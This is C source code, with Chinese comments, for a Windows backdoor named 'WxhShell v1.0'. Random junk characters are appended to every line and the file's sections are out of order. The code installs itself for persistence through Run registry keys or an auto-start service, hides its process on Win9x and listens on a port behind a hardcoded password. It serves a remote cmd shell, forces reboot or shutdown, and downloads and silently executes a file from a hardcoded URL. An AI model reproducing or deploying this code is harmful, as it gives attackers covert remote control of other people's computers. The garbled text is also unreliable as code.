    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Qu\l$/  
    if(Boot(SHUTDOWN)) ~2}ICU5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [:S F(*}  
    else { ^ED>{UiNI  
    closesocket(wsh); Df3v"iCq}  
    ExitThread(0); F X2`p_  
    } Y1+lk^  
    break; CHw_?#h  
    } u.Yb#?  
  // 获取shell z))[Lg  
  case 's': { 6lAo`S\)eX  
    CmdShell(wsh); GZX!iT  
    closesocket(wsh); ~(]DNXB8I`  
    ExitThread(0); ,ToEK Id  
    break; 8HA=O ?Cg  
  } HKw:fGt/o^  
  // 退出 F|Ihq^q  
  case 'x': { HZ=yfJs nc  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); g|_*(=Q  
    CloseIt(wsh); pdiZ"pe  
    break; "Oko|3  
    } [E7@W[xr  
  // 离开 ahv=HWX k  
  case 'q': { oA@^N4PD  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); k ,(:[3J  
    closesocket(wsh); i~L7h=__  
    WSACleanup(); 'Jr*oru  
    exit(1); !|c5@0Wr  
    break; 2wsZ&y%  
        } (UXB#I~  
  } (Fd4Gw<sq  
  } W)hby`k  
Sd6^%YB  
  // 提示信息 [KJL%u|8/  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :C6r N}_k  
} FCJ(D!  
  } 3U$fMLx]k  
xyz86r ^u  
  return; v72 dE  
} dtl<  
,jcp"-5#j  
// shell模块句柄 ttVSgKAsm  
int CmdShell(SOCKET sock) BIyG[y?qO  
{ 1dsxqN(:  
STARTUPINFO si; ^ s4|  
ZeroMemory(&si,sizeof(si)); >C3 9`1  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; [1CxMk~"[  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 2]ljm] \l  
PROCESS_INFORMATION ProcessInfo; +]vl8, 4@  
char cmdline[]="cmd"; iW~f  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); _Z2)e*(  
  return 0; ?3N86Qj  
} P@?CQvMx  
':$a6f &T  
// 自身启动模式 fZgU@!z  
int StartFromService(void)  \RO Sd  
{ >WX'oP(<  
typedef struct mIodD)?{  
{ $7YLU{0  
  DWORD ExitStatus; _Y {g5t  
  DWORD PebBaseAddress; rID]!7~  
  DWORD AffinityMask; gHshG;z*  
  DWORD BasePriority; _4Pi>  
  ULONG UniqueProcessId; Hefqzu  
  ULONG InheritedFromUniqueProcessId; GXVGU-br  
}   PROCESS_BASIC_INFORMATION; >.4Sx~VH2  
kzXW<V9  
PROCNTQSIP NtQueryInformationProcess; R FiR)G ,  
|-D.  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 0fU>L^P_?  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; blv6  
f}eVfAf  
  HANDLE             hProcess; 5GkM7Zu!{j  
  PROCESS_BASIC_INFORMATION pbi; -wRzMT19MG  
d*HAKXd&:j  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); JH#+E04#  
  if(NULL == hInst ) return 0; k<H&4Z)d9  
bxq`E!]  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); cgOoQP/#  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); K? k`U,  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); FG\?_G  
oZtz"B  
  if (!NtQueryInformationProcess) return 0; # 95/,k  
q%Pnx_RB  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); m(Ynl=c  
  if(!hProcess) return 0; [4yQ-L)]e  
a\E]ueVD2j  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 17d$gZ1O:  
^(:Rbsl  
  CloseHandle(hProcess); Qafg/JU  
b87o6"j  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); +\chHOsw  
if(hProcess==NULL) return 0; ]3'd/v@fT  
_P:P5H8  
HMODULE hMod; 1S:H!h3  
char procName[255]; >2/zL.O  
unsigned long cbNeeded; mgWtjV 8  
jXf-+ ;ZQ  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); W+X zU"l  
NQ!F`  
  CloseHandle(hProcess); u 36;;z  
S\m]ze  
if(strstr(procName,"services")) return 1; // 以服务启动 D=Y HJ>-wB  
jBbc$|O4SY  
  return 0; // 注册表启动 (k~c]N)v  
} t {}1 f  
ZlzFmNe60  
// 主模块 d mO|PswW  
int StartWxhshell(LPSTR lpCmdLine) :JYOC+#q7  
{ ] W_T(C*  
  SOCKET wsl; OH w6#N$\  
BOOL val=TRUE; 9'M_tMm5  
  int port=0; d?n~9_9e  
  struct sockaddr_in door; L  z  
VbYapPu4b!  
  if(wscfg.ws_autoins) Install(); _?"J.i  
yrX]w3kr%  
port=atoi(lpCmdLine); Lsdu:+-  
j>iM(8`t1  
if(port<=0) port=wscfg.ws_port; T5h[{J^  
=Sq7U^(>  
  WSADATA data; y8@!2O4  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; sBwgl9  
3^Y-P8.zdB  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   $B2@mC([S  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); RZZB?vx  
  door.sin_family = AF_INET; P}jr 8Z  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); |Th{*IJ <,  
  door.sin_port = htons(port); gnGw7V  
~08v]j q  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { p=zm_+=  
closesocket(wsl); m 78PQx H  
return 1; n|.;g!QDA  
} C0M{zGT>}  
]{hfM  
  if(listen(wsl,2) == INVALID_SOCKET) { ]nh)FMo  
closesocket(wsl); va0 a4s1O  
return 1; y~fy0P:T  
} __M}50^  
  Wxhshell(wsl); w'!gLta  
  WSACleanup(); [g? NU]  
z,tax`O  
return 0; _!C H  
RjT[y: !  
} jv ";?*I6.  
`xSXGI  
// 以NT服务方式启动 0/Csc\Xl  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) cQny)2k*x  
{ /[OMpP  
DWORD   status = 0; OX"`VE  
  DWORD   specificError = 0xfffffff; R+\5hI@ >i  
};*5+XY^  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ]%."  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; &Lw| t_y  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; [o~w>,a  
  serviceStatus.dwWin32ExitCode     = 0; ,<BTv;4p  
  serviceStatus.dwServiceSpecificExitCode = 0; ?6Gq &  
  serviceStatus.dwCheckPoint       = 0; 0czy:d,M%  
  serviceStatus.dwWaitHint       = 0; LYX+/@OU2  
>Ry4Cc  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); OQq7|dZu  
  if (hServiceStatusHandle==0) return; F2&KTK  
G>Q{[m$  
status = GetLastError(); <  5ow81  
  if (status!=NO_ERROR) . XmD[=  
{ :X^B1z3X4  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED;  tua+R_"  
    serviceStatus.dwCheckPoint       = 0; Ii)TCSt9U?  
    serviceStatus.dwWaitHint       = 0; S%4 K-I  
    serviceStatus.dwWin32ExitCode     = status; 8P .! q  
    serviceStatus.dwServiceSpecificExitCode = specificError; U;(&!Ei  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); G`pI{_-e  
    return; EQ28pAZ  
  } bke 1 F '  
iG ;6e~p  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; x~W&a*WNT  
  serviceStatus.dwCheckPoint       = 0; ()r DM@  
  serviceStatus.dwWaitHint       = 0; | 8AH_Fk  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); B 5?(gb"  
} <ANKoPNie  
\rpu=*gt  
// 处理NT服务事件,比如:启动、停止 Q~9:}_@  
VOID WINAPI NTServiceHandler(DWORD fdwControl) v1} $FmHL"  
{ _]\mh,}  
switch(fdwControl) . &e,8  
{ Y/ `fPgE  
case SERVICE_CONTROL_STOP: G/y< bPQ  
  serviceStatus.dwWin32ExitCode = 0; GXAcy OV  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Uz0mSfBp  
  serviceStatus.dwCheckPoint   = 0; G -;Yua2\  
  serviceStatus.dwWaitHint     = 0; ]?kf;A@  
  { e1H.2n{y^  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); K= 69z  
  } ~"-wSAm  
  return; sB6UlX;b:  
case SERVICE_CONTROL_PAUSE: .(sT?M`\J  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; (i`DUF'#y  
  break; Eb.{M  
case SERVICE_CONTROL_CONTINUE: MG~^>  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; O:#to  
  break; m,pDjf  
case SERVICE_CONTROL_INTERROGATE: $oNkE  
  break; !v^D j']  
}; K1Tzy=Z9j  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); os>|LPv4  
} 9TF[uC)-2  
DI*xf Kt  
// 标准应用程序主函数 a`T{ 5*@  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) k,r\^1h  
{ MW p^.  
M?_VYK  
// 获取操作系统版本 03MB,  
OsIsNt=GetOsVer(); ZXco5,1  
GetModuleFileName(NULL,ExeFile,MAX_PATH); k -SUp8}g  
Dr;@)  
  // 从命令行安装 w}'E]y2.  
  if(strpbrk(lpCmdLine,"iI")) Install(); xQN](OKG  
|h.he_B+7  
  // 下载执行文件 [P[syi#]t  
if(wscfg.ws_downexe) { +%FG ti$[  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) lVqvS/_k$  
  WinExec(wscfg.ws_filenam,SW_HIDE); sl)_HA7G  
} 0n1y$*I4  
uy B ?-Y+  
if(!OsIsNt) { Tj.;\a|d  
// 如果时win9x,隐藏进程并且设置为注册表启动 BqR8%F  
HideProc(); a/?gp>M9  
StartWxhshell(lpCmdLine); <uA|nYpp  
} Z!#zr@'k  
else d/;oNC+  
  if(StartFromService()) }ulFW]A^7  
  // 以服务方式启动 =Y89X6  
  StartServiceCtrlDispatcher(DispatchTable); Jk`A}  
else wZ *m  
  // 普通方式启动 vXyaOZ  
  StartWxhshell(lpCmdLine); D[U5SS!)  
/P,J);Y  
return 0; ed& ,  
} MJK L4 G  
J L]6o8x  
JK,k@RE y]  
JeiW z1t  
=========================================== ?p/i}28=y  
@$Y`I{Xf  
pO"V9[p]  
wKwireOs  
'*22j ]  
rQ/S|gG  
" * F&C`]  
O10h(Wg  
#include <stdio.h> #.) qQ8*(  
#include <string.h> /\2s%b*  
#include <windows.h> 3C.bzw^  
#include <winsock2.h> XO\P4x :c  
#include <winsvc.h> 4j/8Otn  
#include <urlmon.h> VN*^pAzlF  
MvObx'+  
#pragma comment (lib, "Ws2_32.lib") !k&<  
#pragma comment (lib, "urlmon.lib") M@ mCBcbN  
KO:o GUR  
#define MAX_USER   100 // 最大客户端连接数 h4ZrD:D0\  
#define BUF_SOCK   200 // sock buffer BjJ+~R  
#define KEY_BUFF   255 // 输入 buffer cp[k[7XGD  
_t3n<  
#define REBOOT     0   // 重启 I,.>tC  
#define SHUTDOWN   1   // 关机 pnDD9u-4;  
"M2HiV  
#define DEF_PORT   5000 // 监听端口 ~`T3 i  
> `u} G1T\  
#define REG_LEN     16   // 注册表键长度 MLaH("aen  
#define SVC_LEN     80   // NT服务名长度 q S2#=  
N-;e" g  
// 从dll定义API l9#vr  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ~^G k7  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); d&t |Y:,8  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); AOhsat;O`  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); p.&FK'&[0  
8L.Y0_x  
// wxhshell配置信息 ]M>mwnt+  
struct WSCFG { N3i}>Q)B  
  int ws_port;         // 监听端口 1[/X$DyaK  
  char ws_passstr[REG_LEN]; // 口令 "w=.2A:q  
  int ws_autoins;       // 安装标记, 1=yes 0=no p)d'yj  
  char ws_regname[REG_LEN]; // 注册表键名 S_aml  
  char ws_svcname[REG_LEN]; // 服务名 03[(dRK>=  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 P)ZGNtO9fG  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 K5'@$Km  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 u9QvcD^'z  
int ws_downexe;       // 下载执行标记, 1=yes 0=no umK~K!i  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" uQ. m[y  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 7zT]\AnO  
%6HDLG6@^}  
}; 6 C;??Y>b  
]Z2;sA  
// default Wxhshell configuration $ !ka8) ~  
struct WSCFG wscfg={DEF_PORT, MHk\y2`/;  
    "xuhuanlingzhe", 3\G&fb|?}R  
    1, V#=o<  
    "Wxhshell", ]xb R:CYJ  
    "Wxhshell", &p`RKD  
            "WxhShell Service", u\.7#D>  
    "Wrsky Windows CmdShell Service", M+9G^o)u  
    "Please Input Your Password: ", Whod_Uk  
  1, /c8F]fkZ=  
  "http://www.wrsky.com/wxhshell.exe", gVl%:Ra%  
  "Wxhshell.exe" D?;$:D"  
    }; Jah~h44&  
*h$Z:p-g  
// 消息定义模块 aB+Ux< -  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Mq8jPjL  
char *msg_ws_prompt="\n\r? for help\n\r#>"; NAlYfbp  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; +t})tDPXw  
char *msg_ws_ext="\n\rExit."; a3sXl+$D@  
char *msg_ws_end="\n\rQuit."; a>G|t5w  
char *msg_ws_boot="\n\rReboot..."; s -~Tf|  
char *msg_ws_poff="\n\rShutdown..."; -!k"*P  
char *msg_ws_down="\n\rSave to "; $-EbJ  
he;&KzEu  
char *msg_ws_err="\n\rErr!"; wZ5 + H%x  
char *msg_ws_ok="\n\rOK!"; |#Z:v1]"  
'/J}T -,Z  
char ExeFile[MAX_PATH]; a$l  
int nUser = 0; +K])&}Dw  
HANDLE handles[MAX_USER]; inBBU[Sl  
int OsIsNt; D}r,t_]Eb  
bT2b)nf  
SERVICE_STATUS       serviceStatus; 2r^|  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; hqmKUlo  
]2+7?QL,  
// 函数声明 _t_X`  
int Install(void); mvyqCOp 0  
int Uninstall(void); _jQ"_Ff  
int DownloadFile(char *sURL, SOCKET wsh); 4jfkCU  
int Boot(int flag); 6V KsX+sd  
void HideProc(void); Uo#% f+t  
int GetOsVer(void); MD%_Z/NL  
int Wxhshell(SOCKET wsl); t-)C0<  
void TalkWithClient(void *cs); !U/iY%NE  
int CmdShell(SOCKET sock); ]g2Y/\)a  
int StartFromService(void); ]'3e#Cqeh  
int StartWxhshell(LPSTR lpCmdLine); E9!u|&$S  
J] ^)vxm3  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Ph'*s{   
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ~q 0)+'  
=X'i^Q  
// 数据结构和表定义 y2bL!Y<s9  
SERVICE_TABLE_ENTRY DispatchTable[] = !ZPaU11  
{ A]id*RtY  
{wscfg.ws_svcname, NTServiceMain}, *tC]Z&5  
{NULL, NULL} &.,ZU\`zT  
}; >jD,%yG  
 |W];8  
// 自我安装 n [H3b}  
int Install(void) . T6fPEb  
{ Xt %;]1n  
  char svExeFile[MAX_PATH]; I ww.Nd2  
  HKEY key; gNY}`'~hr  
  strcpy(svExeFile,ExeFile); wuSp+?{5k  
u=JI 1  
// 如果是win9x系统,修改注册表设为自启动 RcIGIt  
if(!OsIsNt) { t."hAvRL  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %"Q{|}  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); y w)q3zC  
  RegCloseKey(key); F:"<4hiA"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { D<B/oSy  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); NHG+l)y:  
  RegCloseKey(key); 03Pa; n  
  return 0; g .ty#Z=:  
    } R}'kF63u*  
  } 6Lk<VpAa  
} |r[yMI|VR  
else { 2 UU5\ jV6  
g!;k$`@{E'  
// 如果是NT以上系统,安装为系统服务 Mn7nS:  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); k7yQEU  
if (schSCManager!=0) 1bs 8fUPB3  
{ B:Ec(USe  
  SC_HANDLE schService = CreateService >bWx!M]  
  ( ?kEcYD  
  schSCManager, _-$O6eZ  
  wscfg.ws_svcname, eY^;L_7}p  
  wscfg.ws_svcdisp, MQ>.^]B]o  
  SERVICE_ALL_ACCESS, {_t i*#  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ">PpC]Y1  
  SERVICE_AUTO_START, phr6@TI  
  SERVICE_ERROR_NORMAL, #K:|@d  
  svExeFile, `@eo <6  
  NULL, Y>LgpO.  
  NULL, E~Eh'>Y(B  
  NULL, c |OIUc  
  NULL, @|! 9~F  
  NULL eJFGgJRIvF  
  ); 7714}%Z  
  if (schService!=0) Ta^l1]9.*  
  { chv0\k"'  
  CloseServiceHandle(schService); N% /if  
  CloseServiceHandle(schSCManager); *vqlY[2Ax  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); `oQ)qa_  
  strcat(svExeFile,wscfg.ws_svcname); i j&_>   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { @|kBc.(]  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); $Ay j4|_-  
  RegCloseKey(key); \lwYDPY:  
  return 0; x-O9|%aRJ  
    } ug*#rpb  
  } T 7`9[  
  CloseServiceHandle(schSCManager); ov>Rvy  
} `vs= CYs  
} Blv!%es  
0?59o!@h  
return 1; | d}f\a`  
} #Bq.'?c'~  
Qwl=/<p1  
// 自我卸载 <8Y;9N|94!  
int Uninstall(void) "e.QiK  
{ Ln/6]CMl  
  HKEY key; >Hb>wlYR  
<8#Q5   
if(!OsIsNt) { FRa@T N/Ic  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { P9h]B u  
  RegDeleteValue(key,wscfg.ws_regname); rrBu6\D  
  RegCloseKey(key); :l<)p;\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { dE R#)bGj  
  RegDeleteValue(key,wscfg.ws_regname); z<2!|  
  RegCloseKey(key); vpR^G`/  
  return 0; $t.i)wg +  
  } ^3B)i=  
} &<8Q/m]5  
} H{Tt>k  
else { |Y#KMi ~  
:.KN;+tP  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 0 ?kaXD  
if (schSCManager!=0) wc z|Zy  
{ pm$ZKM  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); pE.f}  
  if (schService!=0) +%vBDcf  
  { +c&n7  
  if(DeleteService(schService)!=0) { `@+}zE  
  CloseServiceHandle(schService); *xm(K +j  
  CloseServiceHandle(schSCManager); rUZRYF4C  
  return 0; P2J{ Ml#  
  } Exir?G}\  
  CloseServiceHandle(schService); 3exv k  
  } f+>l-6M+p  
  CloseServiceHandle(schSCManager); -1dbJ/)  
} 05et h  
} a#H2H`%  
UUb n7&  
return 1; [KrWL;[1 <  
} #sl_ BC9  
8vFt<k}G  
// 从指定url下载文件 !O=?n<Ex"  
int DownloadFile(char *sURL, SOCKET wsh) x:'M\c7  
{ ~3k& =3d]  
  HRESULT hr; l|#WQXs*c{  
char seps[]= "/"; OU)~ 02|\  
char *token; ;A^0="x&  
char *file; JNhHQvi\  
char myURL[MAX_PATH]; HU[a b  
char myFILE[MAX_PATH]; \~V Z Y  
9=,^^,q  
strcpy(myURL,sURL); !e~Yp0gX#  
  token=strtok(myURL,seps); Jh1Q)05  
  while(token!=NULL) Ki#({~  
  { Hg8n`a;R  
    file=token; 4R_Vi[i  
  token=strtok(NULL,seps); HSq.0vYl6  
  } [$; \1P/  
z{h#l!Edh  
GetCurrentDirectory(MAX_PATH,myFILE); Q y(Gy'q~  
strcat(myFILE, "\\"); sj;8[Xy's  
strcat(myFILE, file); 97"dOi!Wh  
  send(wsh,myFILE,strlen(myFILE),0); =+um:*a.  
send(wsh,"...",3,0); uK6_HvHuy  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 3f'dBn5  
  if(hr==S_OK) 3$Ecq|4J:  
return 0; ~ou1{NS  
else kOfq6[JC  
return 1; ?f1PQ  
*69 yB  
} /8!s C D  
5#jna9Xc  
// 系统电源模块 HN'r ZAZ(  
int Boot(int flag) 4%l @   
{ emZ^d/A  
  HANDLE hToken; En@] xvE  
  TOKEN_PRIVILEGES tkp; `x;8,7W;B  
]8,:E ]`O  
  if(OsIsNt) { B35zmFX|}N  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 9G8n'jWyY  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);  =[Lo9Sg  
    tkp.PrivilegeCount = 1; $lkd9r1   
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; x;H#-^LxW=  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); -$pS {q;  
if(flag==REBOOT) { ]W,K}~!   
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) >z0~!!YZ  
  return 0; /<Nb/#8  
} 99XbpP55  
else { a }6Fj&hj  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) KM$5ZbCF:  
  return 0; ?VM#Nf\  
} Dd+ f,$  
  } %(4G[R[  
  else { + -e8MvP  
if(flag==REBOOT) { }gw `,i  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 8J|pj4ce  
  return 0; CbK&.a  
} _=0;5OrK1X  
else { GH%'YY3|  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) p/V  
  return 0; +3VDapfin  
} _Q<wb8+/  
} x<) %Gs}tb  
S312h'K j  
return 1; ,#^<0u+zrF  
} N*t91 X  
r4Ygy/%  
// win9x进程隐藏模块 ZdQm& ?  
void HideProc(void) >M.?qs4  
{ "cerg?ix  
j7;v'eA`;7  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Ks&~VU  
  if ( hKernel != NULL ) f.Y9gkt3d  
  { z-G|EAON"/  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");  & y1' J  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ?p{xt$<p  
    FreeLibrary(hKernel); \jn[kQ+pJ  
  } yHW=,V.  
V43pZ]YZ>  
return; H) g:<  
} #8;|_RU  
DQg:W |A  
// 获取操作系统版本 Oq{&hH/'}  
int GetOsVer(void) S=O/W(ZB  
{ RVN"lDGA  
  OSVERSIONINFO winfo; 2,Y8ML<  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ,x5`5mT3  
  GetVersionEx(&winfo); ]ABpOrg  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) `n8) o%E9  
  return 1; 8$avPD3jx  
  else <i'4EnO  
  return 0; bAeN>~WvY  
} k4_Fn61J/  
"s$v?voo  
// 客户端句柄模块 1Giy|;2/  
int Wxhshell(SOCKET wsl) L K9vvQz  
{ ] *{QVn(  
  SOCKET wsh; P,RCbPC4  
  struct sockaddr_in client; g# ZR, q  
  DWORD myID; 'l\V{0;mp  
x8p#WB  
  while(nUser<MAX_USER) |u)?h] >  
{ &Pt|  
  int nSize=sizeof(client); EWN$ILdD  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); .<v0y"amJ  
  if(wsh==INVALID_SOCKET) return 1; ToJV.AdfT  
)!MeSWGq  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); '<f4POy!  
if(handles[nUser]==0)  TyMR m  
  closesocket(wsh); ?8Cxt|o>  
else )rD] y2^<  
  nUser++; zMX7 #,  
  } !TY4C`/  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); \s;]Tg  
y]=v+Q*+  
  return 0; ~az 6n)  
} (c(c MC'  
iR4CY-  
// 关闭 socket 9>psQ0IRvr  
void CloseIt(SOCKET wsh) MoA2Cp;8X  
{ GFvZdP`s4  
closesocket(wsh); , j ,[4^  
nUser--; >H@ dgb  
ExitThread(0); }M f}gCEW  
} I"3Qdi  
?)Lktn9%  
// 客户端请求句柄 TJ`E/=J!  
void TalkWithClient(void *cs) hC}A%_S  
{ WX 79V  
/-4i"|  
  SOCKET wsh=(SOCKET)cs; Z5Ao3O@  
  char pwd[SVC_LEN]; ;^:~xJFx|  
  char cmd[KEY_BUFF]; N`y!Km  
char chr[1]; \~xsBPX+x  
int i,j; Kv+E"2d  
Z!6\KV]  
  while (nUser < MAX_USER) { }"fP,:n"KN  
$c0SWz  
if(wscfg.ws_passstr) { HhNH"b&  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); k(\HAIW  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); IGql^,b  
  //ZeroMemory(pwd,KEY_BUFF); @okC":Fw,  
      i=0; .eXIbd<C  
  while(i<SVC_LEN) { Q" VFcp:  
>U"f1q*$  
  // 设置超时 .x6*9z#q  
  fd_set FdRead; +n9&q#ah  
  struct timeval TimeOut; ^/R@bp#<  
  FD_ZERO(&FdRead); -'{ioHt&X/  
  FD_SET(wsh,&FdRead); \WouTn  
  TimeOut.tv_sec=8; O<f_-n@G|  
  TimeOut.tv_usec=0; JU<<,0  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); -O~WHi5}  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); |IH-a"  
0"u*Kn  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); qChS} Q  
  pwd=chr[0]; J~ v<Z/gm  
  if(chr[0]==0xd || chr[0]==0xa) { xm~ff+(&@S  
  pwd=0; M6 AQ8~z  
  break; s\o </ZDo  
  } gbr|0h>  
  i++; S7wZCQe  
    } rf;R"Uc  
VjYfnvE  
  // 如果是非法用户,关闭 socket %S>lPt  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ,k{{ZP P  
} 2K, 1wqf'  
[ $.oyjd  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); H|F>BjXn5  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \R&`bAdk  
K]@6&H-b|  
while(1) { 2|EH Ny!  
BAm H2"  
  ZeroMemory(cmd,KEY_BUFF); 6$SsdT|8B  
D8`,PXtV  
      // 自动支持客户端 telnet标准   '4HwS$mW3  
  j=0; U@D=.6\B  
  while(j<KEY_BUFF) { }'kk}2ej`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); E_WiQ?p   
  cmd[j]=chr[0]; XFYCPET  
  if(chr[0]==0xa || chr[0]==0xd) { :BMUc-[  
  cmd[j]=0; wi*Ke2YKP  
  break; Jd1eOeS  
  } D6bCC; h=  
  j++; 'ycs{}'  
    } `{F8#    
z(1h^.  
  // 下载文件 7_#v_ A^  
  if(strstr(cmd,"http://")) { 1P8$z:|~  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); mg'-]>$$]  
  if(DownloadFile(cmd,wsh)) 3zWY%(8t4?  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); _PNU*E%s<  
  else F1Egcx/$V  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); t47 f$gq  
  } 4CX*  
